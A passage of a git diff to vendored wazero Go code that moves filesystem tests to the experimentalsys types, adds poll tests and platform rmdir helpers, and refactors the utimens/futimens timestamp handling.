OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -266,7 +265,7 @@ func TestFileIsDir(t *testing.T) { } t.Run("OS dir", func(t *testing.T) { - d, errno := OpenOSFile(t.TempDir(), fsapi.O_RDONLY, 0) + d, errno := OpenOSFile(t.TempDir(), experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -294,7 +293,7 @@ func TestFileReadAndPread(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -320,7 +319,9 @@ func TestFileReadAndPread(t *testing.T) { } } -func TestFilePollRead(t *testing.T) { +func TestFilePoll_POLLIN(t *testing.T) { + pflag := fsapi.POLLIN + // Test using os.Pipe as it is known to support poll. r, w, err := os.Pipe() require.NoError(t, err) @@ -330,10 +331,10 @@ func TestFilePollRead(t *testing.T) { rF, err := NewStdioFile(true, r) require.NoError(t, err) buf := make([]byte, 10) - timeout := time.Duration(0) // return immediately + timeout := int32(0) // return immediately // When there's nothing in the pipe, it isn't ready. - ready, errno := rF.PollRead(&timeout) + ready, errno := rF.Poll(pflag, timeout) require.EqualErrno(t, 0, errno) require.False(t, ready) @@ -343,7 +344,7 @@ func TestFilePollRead(t *testing.T) { require.NoError(t, err) // We should now be able to poll ready - ready, errno = rF.PollRead(&timeout) + ready, errno = rF.Poll(pflag, timeout) require.EqualErrno(t, 0, errno) require.True(t, ready) @@ -354,13 +355,32 @@ func TestFilePollRead(t *testing.T) { require.Equal(t, expected, buf[:len(expected)]) } -func requireRead(t *testing.T, f fsapi.File, buf []byte) { +func TestFilePoll_POLLOUT(t *testing.T) { + pflag := fsapi.POLLOUT + + // Test using os.Pipe as it is known to support poll. + r, w, err := os.Pipe() + require.NoError(t, err) + defer r.Close() + defer w.Close() + + wF, err := NewStdioFile(false, w) + require.NoError(t, err) + timeout := int32(0) // return immediately + + // We don't yet implement write blocking. + ready, errno := wF.Poll(pflag, timeout) + require.EqualErrno(t, experimentalsys.ENOTSUP, errno) + require.False(t, ready) +} + +func requireRead(t *testing.T, f experimentalsys.File, buf []byte) { n, errno := f.Read(buf) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } -func requirePread(t *testing.T, f fsapi.File, buf []byte, off int64) { +func requirePread(t *testing.T, f experimentalsys.File, buf []byte, off int64) { n, errno := f.Pread(buf, off) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) @@ -384,7 +404,7 @@ func TestFileRead_empty(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -417,7 +437,7 @@ func TestFilePread_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -431,20 +451,20 @@ func TestFileRead_Errors(t *testing.T) { path := path.Join(t.TempDir(), emptyFile) // Open the file write-only - flag := fsapi.O_WRONLY | fsapi.O_CREAT + flag := experimentalsys.O_WRONLY | experimentalsys.O_CREAT f := requireOpenFile(t, path, flag, 0o600) defer f.Close() buf := make([]byte, 5) tests := []struct { name string - fn func(fsapi.File) experimentalsys.Errno + fn func(experimentalsys.File) experimentalsys.Errno }{ - {name: "Read", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Read", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Read(buf) return errno }}, - {name: "Pread", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Pread", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Pread(buf, 0) return errno }}, @@ -470,19 +490,19 @@ func TestFileSeek(t *testing.T) { tests := []struct { name string - openFile func(string) (fsapi.File, experimentalsys.Errno) + openFile func(string) (experimentalsys.File, experimentalsys.Errno) }{ - {name: "fsFile os.DirFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(dirFS, name, fsapi.O_RDONLY, 0) + {name: "fsFile os.DirFS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(dirFS, name, experimentalsys.O_RDONLY, 0) }}, - {name: "fsFile embed.api.FS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(embedFS, name, fsapi.O_RDONLY, 0) + {name: "fsFile embed.api.FS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(embedFS, name, experimentalsys.O_RDONLY, 0) }}, - {name: "fsFile fstest.MapFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(mapFS, name, fsapi.O_RDONLY, 0) + {name: "fsFile fstest.MapFS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(mapFS, name, experimentalsys.O_RDONLY, 0) }}, - {name: "osFile", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenOSFile(path.Join(tmpDir, name), fsapi.O_RDONLY, 0o666) + {name: "osFile", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenOSFile(path.Join(tmpDir, name), experimentalsys.O_RDONLY, 0o666) }}, } @@ -560,7 +580,7 @@ func TestFileSeek(t *testing.T) { require.Equal(t, direntCount, len(dirents)) }) - seekToZero := func(f fsapi.File) experimentalsys.Errno { + seekToZero := func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Seek(0, io.SeekStart) return errno } @@ -569,7 +589,7 @@ func TestFileSeek(t *testing.T) { } } -func requireSeek(t *testing.T, f fsapi.File, off int64, whence int) int64 { +func requireSeek(t *testing.T, f experimentalsys.File, off int64, whence int) int64 { n, errno := f.Seek(off, whence) require.EqualErrno(t, 0, errno) return n @@ -591,7 +611,7 @@ func TestFileSeek_empty(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -614,7 +634,7 @@ func TestFileSeek_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -623,10 +643,10 @@ func TestFileSeek_Unsupported(t *testing.T) { } func TestFileWriteAndPwrite(t *testing.T) { - // fsapi.FS doesn't support writes, and there is no other built-in + // sys.FS doesn't support writes, and there is no other built-in // implementation except os.File. path := path.Join(t.TempDir(), wazeroFile) - f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600) + f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() text := "wazero" @@ -663,36 +683,36 @@ func TestFileWriteAndPwrite(t *testing.T) { require.Equal(t, "wazerowazeroero", string(b)) } -func requireWrite(t *testing.T, f fsapi.File, buf []byte) { +func requireWrite(t *testing.T, f experimentalsys.File, buf []byte) { n, errno := f.Write(buf) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } -func requirePwrite(t *testing.T, f fsapi.File, buf []byte, off int64) { +func requirePwrite(t *testing.T, f experimentalsys.File, buf []byte, off int64) { n, errno := f.Pwrite(buf, off) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } func TestFileWrite_empty(t *testing.T) { - // fsapi.FS doesn't support writes, and there is no other built-in + // sys.FS doesn't support writes, and there is no other built-in // implementation except os.File. path := path.Join(t.TempDir(), emptyFile) - f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600) + f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() tests := []struct { name string - fn func(fsapi.File, []byte) (int, experimentalsys.Errno) + fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno) }{ - {name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Write(buf) }}, - {name: "Pwrite from zero", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Pwrite from zero", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 0) }}, - {name: "Pwrite from 3", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Pwrite from 3", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 3) }}, } @@ -719,19 +739,19 @@ func TestFileWrite_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - // Use fsapi.O_RDWR so that it fails due to type not flags - f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, fsapi.O_RDWR, 0) + // Use sys.O_RDWR so that it fails due to type not flags + f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, experimentalsys.O_RDWR, 0) require.EqualErrno(t, 0, errno) defer f.Close() tests := []struct { name string - fn func(fsapi.File, []byte) (int, experimentalsys.Errno) + fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno) }{ - {name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Write(buf) }}, - {name: "Pwrite", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Pwrite", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 0) }}, } @@ -756,20 +776,20 @@ func TestFileWrite_Errors(t *testing.T) { require.NoError(t, of.Close()) // Open the file read-only - flag := fsapi.O_RDONLY + flag := experimentalsys.O_RDONLY f := requireOpenFile(t, path, flag, 0o600) defer f.Close() buf := []byte("wazero") tests := []struct { name string - fn func(fsapi.File) experimentalsys.Errno + fn func(experimentalsys.File) experimentalsys.Errno }{ - {name: "Write", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Write", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Write(buf) return errno }}, - {name: "Pwrite", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Pwrite", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Pwrite(buf, 0) return errno }}, @@ -790,30 +810,30 @@ func TestFileWrite_Errors(t *testing.T) { } func TestFileSync_NoError(t *testing.T) { - testSync_NoError(t, fsapi.File.Sync) + testSync_NoError(t, experimentalsys.File.Sync) } func TestFileDatasync_NoError(t *testing.T) { - testSync_NoError(t, fsapi.File.Datasync) + testSync_NoError(t, experimentalsys.File.Datasync) } -func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) { +func testSync_NoError(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) { roPath := "file_test.go" - ro, errno := OpenFSFile(embedFS, roPath, fsapi.O_RDONLY, 0) + ro, errno := OpenFSFile(embedFS, roPath, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer ro.Close() rwPath := path.Join(t.TempDir(), "datasync") - rw, errno := OpenOSFile(rwPath, fsapi.O_CREAT|fsapi.O_RDWR, 0o600) + rw, errno := OpenOSFile(rwPath, experimentalsys.O_CREAT|experimentalsys.O_RDWR, 0o600) require.EqualErrno(t, 0, errno) defer rw.Close() tests := []struct { name string - f fsapi.File + f experimentalsys.File }{ - {name: "UnimplementedFile", f: fsapi.UnimplementedFile{}}, - {name: "File of read-only fs.File", f: ro}, + {name: "UnimplementedFile", f: experimentalsys.UnimplementedFile{}}, + {name: "File of read-only FS.File", f: ro}, {name: "File of os.File", f: rw}, } @@ -827,20 +847,20 @@ func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) } func TestFileSync(t *testing.T) { - testSync(t, fsapi.File.Sync) + testSync(t, experimentalsys.File.Sync) } func TestFileDatasync(t *testing.T) { - testSync(t, fsapi.File.Datasync) + testSync(t, experimentalsys.File.Datasync) } // testSync doesn't guarantee sync works because the operating system may // sync anyway. There is no test in Go for syscall.Fdatasync, but closest is // similar to below. Effectively, this only tests that things don't error. -func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) { +func testSync(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) { // Even though it is invalid, try to sync a directory dPath := t.TempDir() - d := requireOpenFile(t, dPath, fsapi.O_RDONLY, 0) + d := requireOpenFile(t, dPath, experimentalsys.O_RDONLY, 0) defer d.Close() errno := sync(d) @@ -848,7 +868,7 @@ func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) { fPath := path.Join(dPath, t.Name()) - f := requireOpenFile(t, fPath, fsapi.O_RDWR|fsapi.O_CREAT, 0o600) + f := requireOpenFile(t, fPath, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() expected := "hello world!" @@ -929,7 +949,7 @@ func TestFileTruncate(t *testing.T) { }) } - truncateToZero := func(f fsapi.File) experimentalsys.Errno { + truncateToZero := func(f experimentalsys.File) experimentalsys.Errno { return f.Truncate(0) } @@ -965,11 +985,11 @@ func TestFileUtimens(t *testing.T) { testUtimens(t, true) - testEBADFIfFileClosed(t, func(f fsapi.File) experimentalsys.Errno { - return f.Utimens(nil) + testEBADFIfFileClosed(t, func(f experimentalsys.File) experimentalsys.Errno { + return f.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT) }) - testEBADFIfDirClosed(t, func(d fsapi.File) experimentalsys.Errno { - return d.Utimens(nil) + testEBADFIfDirClosed(t, func(d experimentalsys.File) experimentalsys.Errno { + return d.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT) }) } @@ -997,7 +1017,7 @@ func TestNewStdioFile(t *testing.T) { tests := []struct { name string - f fsapi.File + f experimentalsys.File // Depending on how the tests run, os.Stdin won't necessarily be a char // device. We compare against an os.File, to account for this. expectedType fs.FileMode @@ -1042,9 +1062,9 @@ func TestNewStdioFile(t *testing.T) { } } -func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool { +func testEBADFIfDirClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EBADF if dir closed", func(t *testing.T) { - d := requireOpenFile(t, t.TempDir(), fsapi.O_RDONLY, 0o755) + d := requireOpenFile(t, t.TempDir(), experimentalsys.O_RDONLY, 0o755) // close the directory underneath require.EqualErrno(t, 0, d.Close()) @@ -1053,7 +1073,7 @@ func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errn }) } -func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool { +func testEBADFIfFileClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EBADF if file closed", func(t *testing.T) { tmpDir := t.TempDir() @@ -1066,24 +1086,24 @@ func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Err }) } -func testEISDIR(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool { +func testEISDIR(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EISDIR if directory", func(t *testing.T) { - f := requireOpenFile(t, os.TempDir(), fsapi.O_RDONLY|fsapi.O_DIRECTORY, 0o666) + f := requireOpenFile(t, os.TempDir(), experimentalsys.O_RDONLY|experimentalsys.O_DIRECTORY, 0o666) defer f.Close() require.EqualErrno(t, experimentalsys.EISDIR, fn(f)) }) } -func openForWrite(t *testing.T, path string, content []byte) fsapi.File { +func openForWrite(t *testing.T, path string, content []byte) experimentalsys.File { require.NoError(t, os.WriteFile(path, content, 0o0666)) - f := requireOpenFile(t, path, fsapi.O_RDWR, 0o666) + f := requireOpenFile(t, path, experimentalsys.O_RDWR, 0o666) _, errno := f.Write(content) require.EqualErrno(t, 0, errno) return f } -func requireOpenFile(t *testing.T, path string, flag fsapi.Oflag, perm fs.FileMode) fsapi.File { +func requireOpenFile(t *testing.T, path string, flag experimentalsys.Oflag, perm fs.FileMode) experimentalsys.File { f, errno := OpenOSFile(path, flag, perm) require.EqualErrno(t, 0, errno) return f diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go index 4ed51a9fe9..f56439e081 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go @@ -13,6 +13,11 @@ const ( nonBlockingFileWriteSupported = true ) +func rmdir(path string) sys.Errno { + err := syscall.Rmdir(path) + return sys.UnwrapOSError(err) +} + // readFd exposes syscall.Read. func readFd(fd uintptr, buf []byte) (int, sys.Errno) { if len(buf) == 0 { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go index eb8b5537fc..54e224bbf9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go @@ -2,13 +2,21 @@ package sysfs -import "github.com/tetratelabs/wazero/experimental/sys" +import ( + "os" + + "github.com/tetratelabs/wazero/experimental/sys" +) const ( nonBlockingFileReadSupported = false nonBlockingFileWriteSupported = false ) +func rmdir(path string) sys.Errno { + return sys.UnwrapOSError(os.Remove(path)) +} + // readFd returns ENOSYS on unsupported platforms. func readFd(fd uintptr, buf []byte) (int, sys.Errno) { return -1, sys.ENOSYS diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go index c07d2b92a1..3ad9648e65 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go @@ -81,3 +81,8 @@ func peekNamedPipe(handle syscall.Handle) (uint32, syscall.Errno) { 0) // [out, optional] LPDWORD lpBytesLeftThisMessage return totalBytesAvail, errno } + +func rmdir(path string) sys.Errno { + err := syscall.Rmdir(path) + return sys.UnwrapOSError(err) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go index 9144126b61..1f670ca116 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go @@ -1,53 +1,14 @@ +//go:build linux || darwin + package sysfs import ( "syscall" - "time" "unsafe" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" + "github.com/tetratelabs/wazero/experimental/sys" ) -const ( - // UTIME_NOW is a special syscall.Timespec NSec value used to set the - // file's timestamp to a value close to, but not greater than the current - // system time. - UTIME_NOW = _UTIME_NOW - - // UTIME_OMIT is a special syscall.Timespec NSec value used to avoid - // setting the file's timestamp. - UTIME_OMIT = _UTIME_OMIT -) - -// Utimens set file access and modification times on a path resolved to the -// current working directory, at nanosecond precision. -// -// # Parameters -// -// The `times` parameter includes the access and modification timestamps to -// assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be -// specified instead of real timestamps. A nil `times` parameter behaves the -// same as if both were set to UTIME_NOW. If the path is a symbolic link, the -// target of expanding that link is updated. -// -// # Errors -// -// A zero sys.Errno is success. The below are expected otherwise: -// - sys.ENOSYS: the implementation does not support this function. -// - sys.EINVAL: `path` is invalid. -// - sys.EEXIST: `path` exists and is a directory. -// - sys.ENOTDIR: `path` exists and is a file. -// -// # Notes -// -// - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in -// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html -func Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { - err := utimens(path, times) - return experimentalsys.UnwrapOSError(err) -} - func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused if times != nil { return unsafe.Pointer(×[0]) @@ -55,67 +16,22 @@ func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused return unsafe.Pointer(nil) } -func utimensPortable(path string, times *[2]syscall.Timespec) error { //nolint:unused - // Handle when both inputs are current system time. - if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW { - ts := nowTimespec() - return syscall.UtimesNano(path, []syscall.Timespec{ts, ts}) - } - +func timesToTimespecs(atim int64, mtim int64) (times *[2]syscall.Timespec) { // When both inputs are omitted, there is nothing to change. - if times[0].Nsec == UTIME_OMIT && times[1].Nsec == UTIME_OMIT { - return nil - } - - // Handle when neither input are special values - if times[0].Nsec != UTIME_NOW && times[1].Nsec != UTIME_NOW && - times[0].Nsec != UTIME_OMIT && times[1].Nsec != UTIME_OMIT { - return syscall.UtimesNano(path, times[:]) + if atim == sys.UTIME_OMIT && mtim == sys.UTIME_OMIT { + return } - // Now, either atim or mtim is a special value, but not both. - - // Now, either one of the inputs is a special value, or neither. This means - // we don't have a risk of re-reading the clock or re-doing stat. - if atim, err := normalizeTimespec(path, times, 0); err != 0 { - return err - } else if mtim, err := normalizeTimespec(path, times, 1); err != 0 { - return err + times = &[2]syscall.Timespec{} + if atim == sys.UTIME_OMIT { + times[0] = syscall.Timespec{Nsec: _UTIME_OMIT} + times[1] = syscall.NsecToTimespec(mtim) + } else if mtim == sys.UTIME_OMIT { + times[0] = syscall.NsecToTimespec(atim) + times[1] = syscall.Timespec{Nsec: _UTIME_OMIT} } else { - return syscall.UtimesNano(path, []syscall.Timespec{atim, mtim}) - } -} - -func normalizeTimespec(path string, times *[2]syscall.Timespec, i int) (ts syscall.Timespec, err experimentalsys.Errno) { //nolint:unused - switch times[i].Nsec { - case UTIME_NOW: // declined in Go per golang/go#31880. - ts = nowTimespec() - return - case UTIME_OMIT: - // UTIME_OMIT is expensive until progress is made in Go, as it requires a - // stat to read-back the value to re-apply. - // - https://github.com/golang/go/issues/32558. - // - https://go-review.googlesource.com/c/go/+/219638 (unmerged) - var st sys.Stat_t - if st, err = stat(path); err != 0 { - return - } - switch i { - case 0: - ts = syscall.NsecToTimespec(st.Atim) - case 1: - ts = syscall.NsecToTimespec(st.Mtim) - default: - panic("BUG") - } - return - default: // not special - ts = times[i] - return + times[0] = syscall.NsecToTimespec(atim) + times[1] = syscall.NsecToTimespec(mtim) } -} - -func nowTimespec() syscall.Timespec { //nolint:unused - now := time.Now().UnixNano() - return syscall.NsecToTimespec(now) + return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go index a5663ede3c..88e4008f0a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go @@ -2,13 +2,14 @@ package sysfs import ( "syscall" - _ "unsafe" // for go:linkname + _ "unsafe" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) const ( _AT_FDCWD = -0x2 _AT_SYMLINK_NOFOLLOW = 0x0020 - _UTIME_NOW = -1 _UTIME_OMIT = -2 ) @@ -16,20 +17,25 @@ const ( //go:linkname utimensat syscall.utimensat func utimensat(dirfd int, path string, times *[2]syscall.Timespec, flags int) error -func utimens(path string, times *[2]syscall.Timespec) error { +func utimens(path string, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } var flags int - return utimensat(_AT_FDCWD, path, times, flags) + return experimentalsys.UnwrapOSError(utimensat(_AT_FDCWD, path, times, flags)) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } _p0 := timesToPtr(times) // Warning: futimens only exists since High Sierra (10.13). _, _, e1 := syscall_syscall6(libc_futimens_trampoline_addr, fd, uintptr(_p0), 0, 0, 0, 0) - if e1 != 0 { - return e1 - } - return nil + return experimentalsys.UnwrapOSError(e1) } // libc_futimens_trampoline_addr is the address of the diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go index 5008ca8140..3ec68537be 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go @@ -3,28 +3,38 @@ package sysfs import ( "syscall" "unsafe" - _ "unsafe" // for go:linkname + _ "unsafe" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) const ( _AT_FDCWD = -0x64 - _UTIME_NOW = (1 << 30) - 1 _UTIME_OMIT = (1 << 30) - 2 ) -func utimens(path string, times *[2]syscall.Timespec) (err error) { +func utimens(path string, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } + var flags int var _p0 *byte - _p0, err = syscall.BytePtrFromString(path) - if err != nil { - return + _p0, err := syscall.BytePtrFromString(path) + if err == nil { + err = utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags) } - return utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags) + return experimentalsys.UnwrapOSError(err) } // On linux, implement futimens via utimensat with the NUL path. -func futimens(fd uintptr, times *[2]syscall.Timespec) error { - return utimensat(int(fd), 0 /* NUL */, times, 0) +func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } + return experimentalsys.UnwrapOSError(utimensat(int(fd), 0 /* NUL */, times, 0)) } // utimensat is like syscall.utimensat special-cased to accept a NUL string for the path value. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go index 2816cb84ee..c78a16b407 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go @@ -3,22 +3,14 @@ package sysfs import ( - "syscall" - "github.com/tetratelabs/wazero/experimental/sys" ) -// Define values even if not used except as sentinels. -const ( - _UTIME_NOW = -1 - _UTIME_OMIT = -2 -) - -func utimens(path string, times *[2]syscall.Timespec) error { - return utimensPortable(path, times) +func utimens(path string, atim, mtim int64) sys.Errno { + return chtimes(path, atim, mtim) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) error { // Go exports syscall.Futimes, which is microsecond granularity, and // WASI tests expect nanosecond. We don't yet have a way to invoke the // futimens syscall portably. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go index 26d9c2a425..3a5289b70b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go @@ -2,24 +2,16 @@ package sysfs import ( "syscall" - "time" "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" ) -// Define values even if not used except as sentinels. -const ( - _UTIME_NOW = -1 - _UTIME_OMIT = -2 - SupportsSymlinkNoFollow = false -) - -func utimens(path string, times *[2]syscall.Timespec) error { - return utimensPortable(path, times) +func utimens(path string, atim, mtim int64) sys.Errno { + return chtimes(path, atim, mtim) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) error { // Before Go 1.20, ERROR_INVALID_HANDLE was returned for too many reasons. // Kick out so that callers can use path-based operations instead. if !platform.IsAtLeastGo120 { @@ -27,9 +19,9 @@ func futimens(fd uintptr, times *[2]syscall.Timespec) error { } // Per docs, zero isn't a valid timestamp as it cannot be differentiated - // from nil. In both cases, it is a marker like syscall.UTIME_OMIT. + // from nil. In both cases, it is a marker like sys.UTIME_OMIT. // See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfiletime - a, w := timespecToFiletime(times) + a, w := timespecToFiletime(atim, mtim) if a == nil && w == nil { return nil // both omitted, so nothing to change @@ -42,32 +34,16 @@ func futimens(fd uintptr, times *[2]syscall.Timespec) error { return syscall.SetFileTime(h, nil, a, w) } -func timespecToFiletime(times *[2]syscall.Timespec) (a, w *syscall.Filetime) { - // Handle when both inputs are current system time. - if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW { - now := time.Now().UnixNano() - ft := syscall.NsecToFiletime(now) - return &ft, &ft - } - - // Now, either one of the inputs is current time, or neither. This - // means we don't have a risk of re-reading the clock. - a = timespecToFileTime(times, 0) - w = timespecToFileTime(times, 1) +func timespecToFiletime(atim, mtim int64) (a, w *syscall.Filetime) { + a = timespecToFileTime(atim) + w = timespecToFileTime(mtim) 